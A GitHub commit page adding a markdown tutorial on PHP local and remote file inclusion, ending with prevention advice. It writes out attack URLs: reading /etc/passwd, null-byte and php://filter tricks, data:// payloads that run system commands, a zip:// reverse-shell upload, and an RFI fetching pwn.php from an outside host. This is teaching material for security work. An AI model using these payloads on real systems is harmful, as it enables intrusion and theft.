-
Notifications
You must be signed in to change notification settings - Fork 18
Commit
- Loading branch information
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,164 @@ | ||
# File Inclusion vs Directory Traversal | ||
File inclusion vulnerabilities arise when file paths are passed to `include` statements without sanitisation. | ||
|
||
It is important to distinguish between file inclusion and [directory traversal](Directory%20Traversal.md) vulnerabilities, as these often get mixed up. A path traversal grants an adversary *direct* access to arbitrary files - the file is simply treated as if it were in the web root directory, even though it might be outside it. | ||
|
||
In contrast, file inclusion allows for the "inclusion" of files in the application's running code. This can manifest in different ways. If the file included is a `.php` script, then a simple file inclusion will *execute* the PHP code inside it. If the file is not a PHP file, then its contents will be included somewhere on the page. | ||
|
||
## Local File Inclusion (LFI) | ||
A *local file inclusion (LFI)* vulnerability allows for the inclusion of local files, i.e. files which are located on the server itself. Such vulnerabilities can often lead to remote code execution if an adversary can upload to the server a file of their choosing. Another common venue of exploitation is log poisoning, whereby the adversary performs some actions in order to generate certain content in log files and then uses the LFI to execute the log file itself. | ||
|
||
The most common place where LFIs occur is in URL file parameters. Consider the following example URL: | ||
|
||
``` | ||
http://example.com/preview.php?file=index.html | ||
``` | ||
|
||
If this is vulnerable to LFI, then an adversary can change the `file` parameter in order to include in the web page any file they like. For example, visiting | ||
|
||
``` | ||
http://example.com/preview.php?file=../../../../../../../etc/passwd` | ||
``` | ||
|
||
will result in the contents of `/etc/passwd` being displayed somewhere on the `preview.php` web page. | ||
|
||
~~~admonish example title="Example: Directory Traversal vs LFI" | ||
If this were a path traversal instead (for example `http://example.com/../../../etc/passwd`), then the above would result in the direct *download* of the file `/etc/passwd` instead of its contents being included somewhere on the resulting web page. | ||
~~~ | ||
|
||
## Remote File Inclusion (RFI) | ||
A *remote file inclusion (RFI)* vulnerability allows us to include a file located on a remote host which is accessible via HTTP or SMB. They can be discovered by the same techniques used to find LFIs and path traversals, but instead of using a filename directly, one inserts an entire URL: | ||
|
||
``` | ||
http://example.com/preview.php?file=http://192.168.0.23/pwn.php | ||
``` | ||
|
||
These are usually rarer because they require specific configurations such as the `allow_url_include` option in PHP. | ||
|
||
```admonish note | ||
If a host is vulnerable to an RFI, they are usually vulnerable to an LFI as well. | ||
``` | ||
|
||
# Advanced Techniques | ||
Sometimes exploiting file inclusions is a bit more complicated. Consider the following line of code that may be present on the server: | ||
|
||
```php | ||
<?php include($_GET['file'].".php"); ?> | ||
``` | ||
|
||
The `.php` extension is automatically appended to the result from `$_GET['file']` and so the `include` statement will actually be looking for a PHP file instead of the exact path that we want it to. There are, however, several ways to bypass this. | ||
|
||
## Null Byte Injection | ||
This can be bypassed by injecting a null byte at the end of the file path. To achieve this, simply append the URL encoding (`%00`) of a null byte to the end of the file path: | ||
|
||
``` | ||
http://example.com/preview.php?file=../../../etc/passwd%00 | ||
``` | ||
|
||
A null byte denotes the end of a string and so any characters after it will be ignored. Even though the string (`http://example.com/preview.php?file=../../../etc/passwd%00.php`) that gets passed to `include` still ends in `.php`, this extension is preceded by a null byte and will thus be ignored. | ||
|
||
## Path Truncation | ||
Most installations of PHP limit a file path to 4096 bytes. If a file name is longer than this, then PHP simply truncates it by discarding any additional characters. Therefore, the `.php` extension can be dropped by pushing it over the 4096-byte limit. This can be achieved by URL encoding the file, using double encoding and so on. | ||
|
||
## Filter Bypass | ||
Sometimes filters are used to try and prevent file inclusions, but these can usually be bypassed using the same techniques used with [directory traversals](Directory%20Traversal.md#filter-bypass) | ||
|
||
## PHP Wrappers | ||
PHP wrappers augment file operation capabilities. There are many built-in wrappers which can be used with file system APIs, and developers can also implement custom ones. Wrappers can be found in pre-existing code on the web server or they can be injected by an adversary to enhance and further exploit a file inclusion vulnerability. | ||
|
||
### PHP Filter Wrapper | ||
The `php://filter` wrapper can be used to *display* the contents of sensitive files with or without encoding. It is especially useful because it allows us to *read* a PHP file on the server rather than execute it as a typical LFI would. | ||
|
||
The basic syntax for the `php://filter` wrapper is | ||
|
||
```php | ||
php://filter/ENCODING/resource=FILE | ||
``` | ||
|
||
The encoding may or may not be present. One common encoding is `convert.base64-encode`. | ||
|
||
~~~admonish example | ||
Using the earlier example, the filter wrapper can allow an adversary to read the contents of the `preview.php` file itself! | ||
``` | ||
http://example.com/preview.php?file=php://filter/resource=preview.php | ||
``` | ||
The content can also be obtained in a Base64-encoded format by utilising the following payload: | ||
``` | ||
http://example.com/preview.php?file=php://filter/convert.base64-encode/resource=preview.php | ||
``` | ||
~~~ | ||
|
||
### Data Wrapper | ||
The `data://` wrapper embeds content in a plaintext or Base64-encoded format into the code of the running web application and can be used to achieve code execution when we cannot directly poison or upload a PHP file to the server. | ||
|
||
```admonish note | ||
The `data://` wrapper requires that the `allow_url_include` option is enabled. | ||
``` | ||
|
||
The plaintext syntax is the following: | ||
|
||
```php | ||
data://text/plain,CODE | ||
``` | ||
|
||
The Base64-encoding can be used to bypass firewalls and filters which remove common payload strings such as `"system"` or `"bash"`: | ||
|
||
```php | ||
data://text/plain;base64,BASE64-ENCODED CODE | ||
``` | ||
|
||
~~~admonish example | ||
To weaponise the `data://` wrapper in the previous example, an adversary can use the following payload: | ||
``` | ||
http://example.com/preview.php?file=data://text/plain,<?php%20echo%20sy | ||
stem('ls');?> | ||
``` | ||
This would list the contents of the current directory. Alternatively, they could use the Base64 encoding of the same code: | ||
``` | ||
http://example.com/preview.php?file=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oImxzKTsgPz4K | ||
``` | ||
~~~ | ||
|
||
### Zip Wrapper | ||
The `zip://` wrapper was introduced in PHP 7.2.0 for the manipulation of `zip` compressed files. Its basic syntax is this: | ||
|
||
```php | ||
zip://PATH TO ZIP#PATH INSIDE ZIP | ||
``` | ||
|
||
~~~admonish note | ||
The `#` character is usually used in its URL-encoded form, namely `%23`. | ||
~~~ | ||
|
||
The best thing about the `zip://` wrapper is that it does not require the file to have a `.zip` extension. This means that this wrapper can be used to bypass file upload filters by changing the file extension to `.jpg` or any permitted extension. | ||
|
||
~~~admonish example | ||
An adversary can leverage the `zip://` filter by creating a reverse shell in a file `code.php` and then compressing it to `exploit.zip`. If there are any extension filters, then they are free rename the ZIP file to any extension they like but will have to account for this in the final payload. After uploading the malicious ZIP file to the server, they can navigate to it via | ||
``` | ||
http://example.com/preview.php?file=zip://uploads/exploit.zip%23code.php | ||
``` | ||
The server will then execute the reverse shell inside the malicious file. If the `.php` extension were automatically appended by the server, then one can just change the file name `code.php` to `code` before creating the ZIP archive. | ||
~~~ | ||
|
||
### Expect Wrapper | ||
The `expect://` wrapper is *disabled* by default since it is particularly dangerous, for it allows for direct code execution. Its syntax is | ||
|
||
```php | ||
expect://COMMAND | ||
``` | ||
|
||
The wrapper will execute the `COMMAND` in Bash and return its result. | ||
|
||
# Prevention | ||
One should avoid passing user input to file system APIs entirely. If this is absolutely impossible to implement, then user input should be validated before processing. In the ideal case this should happen by comparing the input with a whitelist of permitted values. At the very least, one should verify that the user input contains only permitted characters such as alphanumeric ones. | ||
|
||
After such validation, the user input should be appended to the base directory and the file system API should be used canonicalise the resulting path. Ultimately, one should verify that this canonical path begins with the base directory. |
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.
Large diffs are not rendered by default.